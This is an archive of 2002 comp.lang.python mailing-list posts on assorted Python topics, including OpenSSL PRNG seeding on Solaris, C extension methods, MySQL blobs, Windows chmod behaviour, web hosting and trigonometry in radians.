11:31:39 +1000 Subject: SSL still broken on Solaris ? In-Reply-To: Message from bredel@gol.com (Philippe Bredel) of "01 May 2002 18:02:18 MST." <d1e3ecad.0205011702.8e5acb4@posting.google.com> Message-ID: <200205020131.g421Vdw26537@localhost.localdomain> >>> Philippe Bredel wrote > Hi, > > A few months ago I was looking at SSL support in Python and decided > to go back to this project yesterday. I was rather surprised to > discover that socketmodule.c still doesn't call RAND_seed() despite > the fact that the issue had been mentionned in earlier posts. > I was initially using 1.5.2 on SunOS5.6, assumed it had been fixed > so downloaded 2.2.1, recompiled w/ SSL support (I'm using openssl > 0.9.6) and kept on getting the famous PRNG not seeded error message. I > eventually found a post from Dave Beazley with his fix but the whole > process was really painful. > There's a usable /dev/random file on my box but I just made a > "dirty" recompile using a fixed seed to make sure it was fixing the > problem. Have you logged a bug on sourceforge? If not, it's less likely that this will be fixed... -- Anthony Baxter <anthony at interlink.com.au> It's never too late to have a happy childhood. From aleax at aleax.it Fri May 3 12:25:39 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 16:25:39 GMT Subject: self in extension method References: <f9b3eae9.0205030811.4aafce2c@posting.google.com> Message-ID: <7SyA8.1248$zW3.24375@news1.tin.it> David Morgenthaler wrote: > My question concerns getting access to self (an instance object) in a > C extension. I'm trying to implement an extension method, but when I > call the method, self always evals to Py_None. Here's the gist of what You have to "wrap up" the 'builtin' (c-implemented) function before adding it to the (Python-implemented) class. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/54352 shows how to implement a Python class entirely in C, but you can use just the wrap-functions-appropriately part of that. Or, Python-side, instead of: A.methodofinterest = methodofinterest_ something like A.methodofinterest = lambda *a, **k: methodofinterest_(*a, **k) should also be roughly equivalent, as should the named equivalent: def methodofinterest(*a, **k): return methodofinterest_(*a, **k) A.methodofinterest = methodofinterest You do need nested scopes for this, unless you use a global variable for methodofinterest_ of course. Alex From aahz at pythoncraft.com Wed May 8 14:37:44 2002 From: aahz at pythoncraft.com (Aahz) Date: 8 May 2002 14:37:44 -0400 Subject: Exception handling References: <slrnadi0fu.l1n.jarvin24@lehtori.cc.tut.fi> <lk1ycm29an.fsf@pc150.maths.bris.ac.uk> <Xns92082CC947623RASXnewsDFE1@130.133.1.4> <lksn52vpf0.fsf@pc150.maths.bris.ac.uk> Message-ID: <abbr9o$mme$1@panix1.panix.com> In article <lksn52vpf0.fsf at pc150.maths.bris.ac.uk>, Michael Hudson <mwh at python.net> wrote: >Philip Swartzleonard <starx at pacbell.net> writes: >> Michael Hudson || Wed 08 May 2002 03:58:31a: >>> J?rvinen Petri <jarvin24 at lehtori.cc.tut.fi> writes: >>>> >>>> I mean can I catch baseclass exception in my exception handler and >>>> get all the derived classes catched aswell, like >>> >>> Yes. Didn't you try it? Although A should have Exception amongst >>> it's base classes... >> >> Should it? > >Yes, but it's only "should". It's not enforced anywhere. There was >talk of making it enforced, but I don't think that got anywhere. I believe Guido is still talking about doing this for Python 3.0. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From gerhard at bigfoot.de Fri May 10 13:43:51 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 10 May 2002 19:43:51 +0200 Subject: How to access to a remote db In-Reply-To: <abguff$1k5$1@fe2.cs.interbusiness.it> References: <abgo65$chq$1@fe1.cs.interbusiness.it> <VURC8.59259$m26.13054@atlpnn01.usenetserver.com> <abguff$1k5$1@fe2.cs.interbusiness.it> Message-ID: <20020510174351.GA1843@lilith.my-fqdn.de> * Sara D'Amico <saramard at camerond.tin.it> [2002-05-10 19:01 +0200]: > Hi Steve, > thanks for your quickness. > > I'm trying to extend a network based on microsoft system with linux servers > in a school, for my thesis' project. > I used samba with linux to implement a ms NT Primary Domain Controller, and > a friend of mine is designing the db using MS Access. I should get the > info about students from that db; and then create the accounts for the > authentication procedure in the network. > I thought to use a table to store the usernames in the db. Then the PDC > accesses to the db and adds the user's accounts. > So the problems are: the remote access and the PDC's update. Unless you are using the GUI side of Access, there's no good reason to use it. I'd recommend to switch to the free MySQL db instead, which you can easily access via ODBC, or natively from Python. There are also tools available from the MySQL site for exporting an Access DB into MySQL. If you can't talk your friend into switching, you could check out using mxODBC from the Linux side, a remote object protocol like PyRO, or (maybe) SQL Relay. Frankly, I have never used any of these myself, and I wouldn't want to, either. And I wouldn't like to, either, if I could avoid it at all, by using a database engine that's designed for remote access from concurrent users. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From tundra at tundraware.com Thu May 2 22:50:03 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Fri, 03 May 2002 02:50:03 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020389947.23177.python-list@python.org> Message-ID: <3CD1FA69.83091B1C@tundraware.com> Andrew McNamara wrote: > > >Andrew McNamara wrote: > >> > >> >I have a lot of experience in ANSI C/C++, I want to learn a new > >> >language and which it can help me in the work. > >> >I just want to clear which(python or perl) is more comfort for me? > > > >This question comes up with painful regularity on virtually every > >language newsgroup in existence. The answers are almost always the > [...] > > Excuse me Tim, I didn't write the message you replied to. Please take more > care with your attributions, or turn them off if you can't get them right. > > -- > Andrew McNamara, Senior Developer, Object Craft > http://www.object-craft.com.au/ Noted, very sorry... slinking away in embarassment... -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From dkt at registriesltd.com.au Tue May 21 01:09:19 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Tue, 21 May 2002 15:09:19 +1000 Subject: OT: Copyright and sick society In-Reply-To: <20020521150408.R4474@regdp-02.intint.registriesltd.com.au>; from dkt@registriesltd.com.au on Tue, May 21, 2002 at 03:04:08PM +1000 References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191842.51277dc7@posting.google.com> <20020521150408.R4474@regdp-02.intint.registriesltd.com.au> Message-ID: <20020521150919.S4474@regdp-02.intint.registriesltd.com.au> On Tuesday 2002-05-21 at 15:04:08 +1000, David K. Trudgett wrote: > When people start to think twice about sharing information by quoting > material, in full or in whole, it's a sign of a sick society. Uhm, that should read, "in full or in part", but you knew that... :-) David Trudgett From BPettersen at NAREX.com Tue May 7 19:25:00 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 17:25:00 -0600 Subject: survey: is shelve broken? should it be fixed? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E39@admin56.narex.com> > From: holger krekel [mailto:pyth at devel.trillke.net] > > Bjorn Pettersen wrote: > > > From: holger krekel [mailto:pyth at devel.trillke.net] > > [snip] > > > > > > Might i ask whether you read my suggestion to > > > implement the "smart"-switch at the global module level? > > > > I'm -1 on this (in case I want to open both regular and read-only > > files). > > You actually want to use the copying version and the in-place > version of shelve mixed in one file? [snip] No, I want to have two shelve files open with different characteristics, and it makes more sense to me to indicate which characteristic an object should have in the constructor... -- bjorn From ianb at colorstudy.com Fri May 24 01:01:15 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 24 May 2002 00:01:15 -0500 Subject: python-friendly web hosts: buyer beware In-Reply-To: <dc6f5c99.0205231510.7df65605@posting.google.com> References: <Xns921761E866B7Drobuselesspythoncom@24.28.95.158> <dc6f5c99.0205231510.7df65605@posting.google.com> Message-ID: <1022216475.2957.70.camel@localhost> On Thu, 2002-05-23 at 18:10, Graham Dumpleton wrote: > > (http://valueweb.net/products/enterprise_hosting.html proudly advertises > > Python as an "Advanced Feature" of their $299.00/month Enterprise Hosting > > package.) > > For that amount of money, you would be much better going to iServer (now > part of viaVerio). From about a third of that price you get your own > virtual host to which you can telnet/ssh and get full UNIX shell access > to do what you want. I used another virtual host in the same style -- Superb (www.superb.net). I wanted to host Webware, which really doesn't jive well with most hosts -- even otherwise Python friendly ones (due to the long-running process of the AppServer). Anyway, I wasn't particularly impressed with them -- the performance, net speed, and up time were all fine but not great. But I believe you get more access than with Verio -- full root access to do whatever you want. No limitations to the number of POP mailboxes, unix users, or anything else. But I wasn't terribly happy, so I've switched to SmartHosting (www.smarthosting.com). It's a dedicated computer for $100/mo. There's several other hosts in the same price range. I've just gotten access today, so I have no idea how it'll be. But they installed just the OS I wanted (Debian), and the performance and disk space is a lot more than with Superb. We'll see... unlimited web serving with name-based domains from Apache is pretty nice, though... whatever little site your heart desires is only the price of the domain name. Ian From tismer at tismer.com Fri May 10 07:23:08 2002 From: tismer at tismer.com (Christian Tismer) Date: Fri, 10 May 2002 13:23:08 +0200 Subject: Stackless python + official python ? References: <3CDA819B.1040308@destiny.com> <mailman.1020963136.13183.python-list@python.org> <3CDB390B.4E8A2A96@cosc.canterbury.ac.nz> Message-ID: <3CDBAD9C.9070207@tismer.com> Greg Ewing wrote: > Christian Tismer wrote: > >>What gave mea six week procrustination was the fact > > ^^^^^^^^^^^^^^^ > > What an amazingly good word! I wonder what it > means -- Procrustean procrastination? Oops -- I used dict.leo.org to find it, but mistyped it :) -- Christian Tismer :^) <mailto:tismer at tismer.com> Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tim.one at comcast.net Thu May 2 21:06:46 2002 From: tim.one at comcast.net (Tim Peters) Date: Thu, 02 May 2002 21:06:46 -0400 Subject: remove read only flag In-Reply-To: <20020502104252.4e7d9aac.logiplexsoftware@earthlink.net> Message-ID: <LNBBLJKPBEHFEDALKOLCGEMNPCAA.tim.one@comcast.net> [Cliff Wells] > ... > I'm not sure how the Unix permission scheme is mapped onto > the Windows scheme. I suppose if I had any sort of initiative I'd > look in Python's platform-specific files and find out ;) I'll save you the effort: Python calls the platform C library's chmod() regardless of platform. Microsoft doesn't document what their chmod() does, so I'll do it for them: it looks at bit 0200 of the mode mask ("the owner write bit"), and that's all. If it's set, it tries to clear the Win32 FILE_ATTRIBUTE_READONLY attribute via the Win32 SetFileAttributes(); if 0200 is clear, it tries to set FILE_ATTRIBUTE_READONLY. A more interesting question is how to map the Win2K permission scheme onto anything <wink>. From christophe.delord at free.fr Fri May 17 14:15:11 2002 From: christophe.delord at free.fr (Christophe Delord) Date: Fri, 17 May 2002 20:15:11 +0200 Subject: Bug in regular expressions ? References: <20020517175527.76c55aea.christophe.delord@free.fr> <6qadqyydh9.fsf@abnoba.intevation.de> Message-ID: <20020517201511.26f132a2.christophe.delord@free.fr> On 17 May 2002 17:56:50 +0200 Bernhard Herzog <bh at intevation.de> wrote: > Christophe Delord <christophe.delord at free.fr> writes: > > > So A|B and B|A are not always equivalent. When A and B match, B is > > ignored even if the matched text is longer. Is this a bug in the re > > module? > > No. It works as documented. That's why documentations are written. To be read :-) Thanks. From rob Fri May 24 02:56:56 2002 From: rob (Rob Andrews) Date: Fri, 24 May 2002 06:56:56 GMT Subject: article on Python modules: critique? Message-ID: <Xns9218141626A68robuselesspythoncom@24.28.95.190> I just posted this same message to the Tutor List requesting constructive criticism. Please pardon the cross-post, but I figure posting the request to comp.lang.python will increase my odds of having some of the more glaring blunders pointed out. http://uselesspython.com/BatteriesIncluded.html is the latest article freshly posted on Useless Python. It's so new I haven't really proofed it yet, and (as usual) submit it for a little constructive criticism. This one discusses Python modules, what they are, how to import them, ways to figure out more about them, etc. I have several ideas on how it could stand improvement, but figure at least a little sleep and some critique can come first. I've started adding these articles to the Tutorial links page for now, as well. Rob http://uselesspython.com From ianb at colorstudy.com Wed May 1 02:47:07 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 01 May 2002 01:47:07 -0500 Subject: Newbie: Working with large database -- help! In-Reply-To: <m34rhsgzwr.fsf@box.home.de> References: <WEHz8.1942$z65.211132@news.uswest.net> <m34rhsgzwr.fsf@box.home.de> Message-ID: <1020235627.469.1287.camel@localhost> On Wed, 2002-05-01 at 01:12, Jochen K?pper wrote: > On Tue, 30 Apr 2002 21:37:18 -0400 Owen Marshall wrote: > > Owen> data|data|data|data > > Owen> and so on as needed. My question: how do I extract each part of > Owen> data from between the " | " (none of the data has fixed > Owen> lengths), and put it in a list where I can do some work with it? > > list = file.read().split('|') Or maybe: list_of_lists = [line.split('|') for line in file.readlines()] Ian From BPettersen at NAREX.com Wed May 29 22:58:30 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 29 May 2002 20:58:30 -0600 Subject: Passing values from C++ to embedded python. Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192F1A041@admin56.narex.com> > From: Justin Dubs [mailto:jtdubs at eos.ncsu.edu] > > Hey everyone, > > I have a C++ app in which I have embedded the python > interpreter. I have a thread which does the simple > Py_Initialize(), PyRun_InteractiveLoop(), > Py_Finalize() business using stdin and stdout. Meanwhile the > main thread does all the regular functionality of the app in > another window. I have several classes, written in C++, > which I have wrapped with SWIG and compiled into a shared > library. C++ can instantiate the original classes, > obviously, as they are written in C++. Python can > instantiate the wrapped classes from the shared library and > that also works perfectly. > > So, my problem is thus: > > If I have a pointer to an instance of one of these classes in > C++, how can I create a python variable that points to the > same instance? If switching to SIP instead of SWIG is an option all you'd have to do is: PyObject* val = sipMapCppToSelf(nDatePtr, sipClass_NDate); where NDate is the wrapped class. I'm assuming SWIG has similar functionality, but it's been several years since I used it last... -- bjorn From aleax at aleax.it Sun May 12 10:33:25 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 14:33:25 GMT Subject: os.spawnl problem under windows... References: <bXsD8.32846$CN3.1105870@news2.tin.it> Message-ID: <V2vD8.33126$CN3.1136941@news2.tin.it> Max wrote: ... >>>>os.spawnl(os.P_WAIT, 'c:\windows\notepad.exe', 'c:\windows\notepad.exe') As these are plain strings, each \n means a single newline characters. Double up every backslash or use raw string literals r'c:\windows\notepad.exe' in which backslash-escapes aren't expanded. In most cases you can also use normal / slashes instead of back \ ones, but I don't recall if os.spawnl is among those 'most cases'. Alex From chene at cs.queensu.ca Tue May 7 17:22:05 2002 From: chene at cs.queensu.ca (Elvis Chen) Date: Tue, 7 May 2002 17:22:05 -0400 Subject: pricision of string.atof? In-Reply-To: <ab9en9$6b1$1@peabody.colorado.edu> References: <Pine.SOL.4.33.0205071553320.8002-100000@radius> <ab9en9$6b1$1@peabody.colorado.edu> Message-ID: <Pine.SOL.4.33.0205071719570.8002-100000@radius> On Tue, 7 May 2002, Fernando [ISO-8859-1] P?rez wrote: > It's simply that repr() gives a more faithful representation of the internal > form of a value while str() does some rounding for visual convenience. And > since not _all_ real numbers can be represented via 32 bit floats (2^32 << > infinity), some values by necessity have an approximate representation. thx. This is the exact info I'm looking for. I'm aware how numbers are represented in a computer (hardware level), I just don't know how python does it internally (being a python newbie). thanks to all who replied. ECC From python at pferris.com Thu May 9 12:39:21 2002 From: python at pferris.com (Peter F. Ferris) Date: Thu, 9 May 2002 11:39:21 -0500 Subject: Writing Date & Time to files? Message-ID: <DHEFKCDPFOKMNIMFNHNLOEFDCBAA.python@pferris.com> Greetings All, This is my first posting to the group, though there will likely be many more! At the moment my only Python resource is the O'Reilly "Learning Python". Can't afford the $50 or so for "Programming Python"! I've started in on my first script. But I digress... I'm trying to build (concatenate) a string to write (append) to a file. The current relevant code looks something like: NOTE: "targ_ipaddr" is an IP address -- currently 'hard coded' in the script - for testing purposes, but eventually to be read from a list of IP's in a file . . . import getpass import sys import telnetlib from mx.DateTime import * # Ping routine tn.write("ping " + targ_ipaddr + "\n") # Deal with the results of the ping. Write to file and move on... print "The results were: ", tn.read_some() availresfile = open('/temp/availresfile.txt', 'a') filestrng = targ_ipaddr + " was alive and well at: " + "\n" availresfile.write(filestrng) availresfile.close() # Happy Trails! print "The script lived to a ripe old age before expiring!" . . . NOTE: targ_ipaddr is an IP address -- currently 'hard coded' in the script - for testing purposes, but eventually to be read from a list of IP's in a file. So far, so good... My problem is, I would like to append a "date/time stamp" to the text being written to the file. As you can see, I'm using the mx.DateTime types. They seem pretty good for my purposes. The "now()" type looks to be exactly what I want. Does Python have any "built in" date / time functionality? I must be missing it in the book, if so. Sooo, how can I add the time/date stamp to the "filestrng" string? If I add "+ now()" I get a "TypeError: cannot concatenate 'str' and 'DateTime' objects" error. Which is nice, but not very informative to me! Can someone help?! I throw myself (and my Python ignorance) on the "mercy of the court"! Again, very simply (easy for ME to say! ;-)), I want to write something similar to: "xxx.xxx.xxx.xxxx was alive and well at: 2002-05-09 11:29:12.03" to the file shown above. All hints & tips are GREATLY appreciated! Cordially, --Peter From sholden at holdenweb.com Sat May 4 00:43:53 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sat, 4 May 2002 00:43:53 -0400 Subject: Insert blob data to MySQL References: <UHFA8.248$e32.210@newsread1.prod.itd.earthlink.net> Message-ID: <gJJA8.1447$v92.147@atlpnn01.usenetserver.com> "Billy Ng" <kwokng at earthlink.net> wrote ... > Hi folks, > > Would any body tell me how to insert a blob object to the mysql blob field > Here "cc" is a cursor on a MySQLdb connection ... >>> cc.execute("""CREATE TABLE blobtbl ( ... i integer primary key auto_increment, ... b blob)""") 0L >>> s = "string data but it could be anything" >>> cc.execute("""INSERT INTO blobtbl (b) VALUES(%s)""", (s,)) 1L >>> cc.execute("""SELECT * FROM blobtbl""") 1L >>> cc.fetchall() ((1L, 'string data but it could be anything'),) >>> Is this what you wanted? must-remember-to-delete-that-table-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From rhymes at myself.com Fri May 17 12:48:30 2002 From: rhymes at myself.com (Lawrence Oluyede) Date: Fri, 17 May 2002 18:48:30 +0200 Subject: Using VIM References: <i3lqdugprqj20ovqo1lnme9c13l3h6bqk0@4ax.com> <bcUE8.70213$To6.22895393@e420r-atl1.usenetserver.com> Message-ID: <b6caeusmo36hdrso1nuji5fhlgij18mha4@4ax.com> "Eric Torstenson" <torstenson at no-spam.oti-hsv.com> wrote: >I believe that the more recent installations have the syntax stuff set up >(if that is what you mean) On my redhat 7.1 machine, the vim syntax >directory is at /usr/share/vim/vim60z/syntax/ in which can be found numerous >files named *.vim (one of which is python.vim) Also, there should be a >script named filetype.vim that will set the filetype based on the last few >letters (extension) of the file > >Also, make sure your rc file says "syntax on" some place. > >Is this what you were looking for? yeah! thanks a lot. -- Lawrence Oluyede rhymes at myself.com From kragen at pobox.com Fri May 17 04:21:33 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 04:21:33 -0400 Subject: How to call another file References: <abols1$l0b$1@netnews.upenn.edu> <mailman.1021303762.13689.python-list@python.org> <abpa4g$h8i$1@netnews.upenn.edu> Message-ID: <83r8kbw5f6.fsf@panacea.canonical.org> "Catherine Yang" <yiyang at wharton.upenn.edu> writes: > It doesn't matter what file it is. It can be a C file. By "calling", I mean > executing another file. I want to use Python to finish some tasks, then use > another file (*.sas) to finish another task, then return to Python to > continue. It's like executing a system command from Python, I guess. If you're on a Unix system, generally, no matter what (interpreted) language a program is written in, you can run it with os.system, e.g. os.system("/home/yiyang/analyze-fatalities.sas"). But on more primitive systems, like Windows, you will need to figure out where SAS lives and invoke SAS with the file. HTH. From andrewm at object-craft.com.au Tue May 21 22:27:18 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Wed, 22 May 2002 12:27:18 +1000 Subject: Is python really slow? In-Reply-To: Your message of "Wed, 22 May 2002 12:01:34 +1000." <20020522120134.E4474@regdp-02.intint.registriesltd.com.au> Message-ID: <20020522022718.C9C8F38F50@coffee.object-craft.com.au> >That's quite right. I didn't mean to give the impression that C is a >good language to cut one's teeth on. Far from it. However, it is a >small language, and therefore easy to learn. That doesn't mean that >it's easy to write good programs in it. C goes out of its way to give >the programmer all the power required to shoot himself* in the foot. >It assumes the programmer knows exactly what he is doing -- a bad >assumption most of the time ;-) I didn't explain myself very well - the point I meant to make is that you don't really know C until you've spent a decade investigating core dumps (and not even then in some prominent cases)... 8-) 8-) -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From tritran2001 at iprimus.com.au Sat May 25 09:58:58 2002 From: tritran2001 at iprimus.com.au (Occean) Date: Sat, 25 May 2002 13:58:58 GMT Subject: Python help References: <3cef7001_1@news.iprimus.com.au> <acnsmd$5d8$1@oravannahka.helsinki.fi> Message-ID: <20020525.235415.76065818.2117@iprimus.com.au> I tried to use it but i get some error #!/usr/bin/python def splitpart(x): return x.split(':')[1] s = "Student name:Yajen | Class:143 | ID:205851C" stName, stClass, stId = map(splitpart,s.split('|')) print stName print StClass print stId Errors involked : Traceback (innermost last): File "./splitPark.py",line 9 ,in? stName, stClass, stId = map(splitpart,s.split('|')) AttributeError:'string' object has no attribute 'split' In article <acnsmd$5d8$1 at oravannahka.helsinki.fi>, "Jere Kahanpaa" <kahanpaa at gstar.astro.helsinki.fi> wrote: > tritran <tritran2001 at iprimus.com.au> wrote: >> Assume that i got the string of text such as "Student name:Yajen | >> Class: 143 | ID:205851C" >> I like to seperate this line into the 3 varibles like stName, stClass, >> and stId. How can i do this, can someone help me. Thank a lot > > Simple solution (withot any error checking!): > > def splitpart(x): > return x.split(':')[1] > > s = "Student name:Yajen | Class:143 | ID:205851C" stName, stClass, stId > = map(splitpart,s.split('|')) > > # Note: Older version require string.split(s,'|') > > Jere From wilk at flibuste.net Mon May 6 04:56:33 2002 From: wilk at flibuste.net (William Dode) Date: Mon, 6 May 2002 10:56:33 +0200 Subject: Choose Your Own Adventure References: <ab3avs$84e$1@nets3.rz.RWTH-Aachen.DE> <3CD5A2DB.F9FBF976@alcyone.com> <ab49u0$8df$1@nets3.rz.RWTH-Aachen.DE> <3CD5ABA8.E37F1ED8@alcyone.com> <ab4cmf$a9v$1@nets3.rz.RWTH-Aachen.DE> <3CD5B75B.8A1DE437@alcyone.com> Message-ID: <20020506105633.3c555fbc.wilk@flibuste.net> Le Sun, 05 May 2002 15:51:07 -0700 Erik Max Francis <max at alcyone.com> ?crivait: > Philipp Lenssen wrote: > > > The term CYOA is used, as I explained, to describe exactly what QML > > produces, all around the web and newsgroups. If I want to quickly > > explain > > what QML does I need to use this term without many alternatives, and > > this > > will help anybody accessing the site. > > I have no vested interest here; I am not the owner of the trademark, nor > am I affiliated with them in any way, nor am I (obviously) affiliated > with you or QML. I'm just warning you that your choice of desciptions > may result in legal troubles down the road. It seems foolhardy to me to > knowingly and willfully use a trademarked term in your promotion; in > fact, the trademark owners could conceivably use this exchange to > demonstrate your knowledge of the potential violation. > > You can rationalize to me or to yourself all you want how you think the > usage is legitimate, but that doesn't really address the issue that if > the trademark holder sees fit you may find yourself embroiled in a > lawsuit. Whether you want to avoid that quickly and easily now or deal > with when and if it happens is completely up to you; I was just pointing > out the objective fact that you are using the trademarked term in a > realm where the trademark clearly applies. I think (and hope) that a trademark of a sentence with usual words is not legal in europe now... And philipp seems to live in Deutshland... Philipp, did you see pyzzle ? an engine to make game like myst/riven : http://pyzzle.sourceforge.net/ bye > > -- > Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ > __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE > / \ Who'd ever think it / Such a squalid little ending > \__/ The American and Florence, _Chess_ > Church / http://www.alcyone.com/pyos/church/ > A lambda calculus explorer in Python. -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From kragen at pobox.com Mon May 13 14:33:40 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 14:33:40 -0400 Subject: idle and the devil References: <mailman.1021141703.4297.python-list@python.org> Message-ID: <83g00vkid7.fsf@panacea.canonical.org> Tim Peters <tim.one at comcast.net> writes: > [Siegfried Gonzi, reports widespread file corruption after copy+paste, > under both IDLE and Emacs on Windows XP] > > Try another machine. I've never heard of this before, and that it occurs > under two programs for you says "machine-specific failure mode" to me. > Maybe a flaky memory chip, maybe a bad spot on a disk, maybe a driver > conflict, maybe a background program going insane, can't say. But when you > see problems nobody else sees, nobody else sees them <0.9 wink>. The wheel-mouse hypothesis sounds like the answer to me; it explains why only these two programs have the problem (because they come from Unix, where middle-button-paste is the expected behavior) and explains exactly the described corruption. You can fix this problem in XEmacs by putting this line in your .emacs file: (global-set-key '(button2) 'undefined) The incantation for GNU Emacs is slightly different. I don't use IDLE, so I don't know how to fix it in IDLE. From warlock at eskimo.com Tue May 7 01:02:28 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 6 May 2002 22:02:28 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <ab6qd6$ilk$1@bob.news.rcn.net> <ab6rvq$ka4$1@peabody.colorado.edu> Message-ID: <45n7ba.ui6.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 06 May 2002 15:15:50 -0600, Fernando P?rez <fperez528 at yahoo.com> wrote: > Raymond Hettinger wrote: > >>> I am trying to get the math module to deal with degrees rather than >>> radians. (that it deals with radians for the angular functions like >>> sin() isn't mentioned in the docs, which was sort of an eyeopener :) I >>> can't find any info on doing this. I can convert from-to degrees in the >>> code calling the function, but that's a bit clunky. Any pointers to an >>> FM to R? :) >> >> There is a patch for adding degree/radian conversions. >> See http://www/python.org/sf/552452 > > Sorry to sound critical, but I doubt this will make it in (and I hope it > doesn't). Reason: bloat. Yes, it's only two functions, but still, bloat is > bloat. Plus, if you really need those conversions, it's less typing and more > efficient (no function call) to simply use a multiplicative constant: > > In [7]: to_rad = pi/180 > > In [8]: to_deg = 1/to_rad > > In [9]: sin pi/4 > ------> sin (pi/4) > Out[9]: 0.70710678118654746 > > In [10]: sin 45*to_rad > -------> sin (45*to_rad) > Out[10]: 0.70710678118654746 > > In [11]: (pi/4)*to_deg > Out[11]: 45.0 > > I realize you have good intentions, but I truly don't think that in this case > the benefits outweigh the cost. OTOH, one could add a comment in the > docstrings to the effect of 'trig functions expect arguments in radians', > since it does seem to cause confusion among newbies. > > Cheers, > Well, it was a lightbulb going off in my head when I finally figured out *why* the numbers my code was giving me were so wrong. Doh! after I thought about it, it made perfect sense, but before I had thought about it :).... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE811/kd90bcYOAWPYRAmF6AKCya2mJ44k0UCixEg5SCl7KCjPevACeJJ5C 0DF1Qa/PoRvFn2L1wa9SihI= =dCLr -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From shredwheat at attbi.com Thu May 9 03:03:17 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Thu, 09 May 2002 07:03:17 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <3CDA1F01.20300@attbi.com> Bryan Richard wrote: > Second, I've been in contact with distributors. The zine has been > received very well, and they feel there would be little problem in > getting it in Barnes & Noble, etc., once I fix one thing. The only > issue is the page count. The current # of pages is 16 and it needs to > be 40-60. At that size, we are talking about +10 articles + ads (if > possible) and a price hike. All and all, a considerable investment in > time and money on this side and a possible barrier to entry on your > side (higher price). i loved the first issue, but i did think it was a little thin. i'd say you might want to wait for another issue or two before trying to go 'big time'. by then you may have a better feel for the volume of articles coming in. if by then the zine is also doing better, you may be able to negotiate a more comfortable 'deal'. perhaps you could also combine 2 issues of "Py journal", and combine them into a single "Py magazine". but that might actually be more confusing to many people. as far as "ads" go, i'm sure you could fill a couple pages by allowing python projects on the web to get some sort of cheap page ads? or maybe get some book publishers to allow excerpts of their python books to be included in the mag? seems like a possible way to get extra material in the zine. but on the other hand, it seems inevitable that all that extra work would really be a lot of extra work. i still think you might be best giving it another issue or two of the small zine and see how it's feeling. i'm sure the bookstores will still be around in another 6 months or so. good luck with whatever you decide on it. From brian at sweetapp.com Sat May 4 20:10:47 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 17:10:47 -0700 Subject: making python scripts backwards compatible In-Reply-To: <3CD470C3.AC12D547@cascade-sys.com> Message-ID: <008601c1f3c9$4ed93b80$445d4540@Dell2> > I beg to differ. Rather his request is quite reasonable. > > He merely asks to maintain backward compatibility OR (!) be sure to > document your version requirements at the top of your source. > > How can any reasonable person disagree? Determining your version requirements is too much to ask. I wrote the module is question and, before reading this thread, I had no idea what the version requirements were (1). Are patch writers also required to test against multiple Python versions? Cheers, Brian (1) I wrote and tested it with CVS Python (pre Python 2.2). My test suite was pretty manual and I had no real interest in running it against other Pythons, which I didn't even have installed on my Unix box. From claird at starbase.neosoft.com Fri May 17 11:18:46 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 17 May 2002 10:18:46 -0500 Subject: How to solve diophantine problems? References: <abp8bb$vs$1@thccy25.nthu.edu.tw> <EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036@lp.airnews.net> <abr0dq$fsm$1@thccy25.nthu.edu.tw> <A3CC622F1F200C4E.B094127AFC81DF2B.B06C9B7849374CBE@lp.airnews.net> Message-ID: 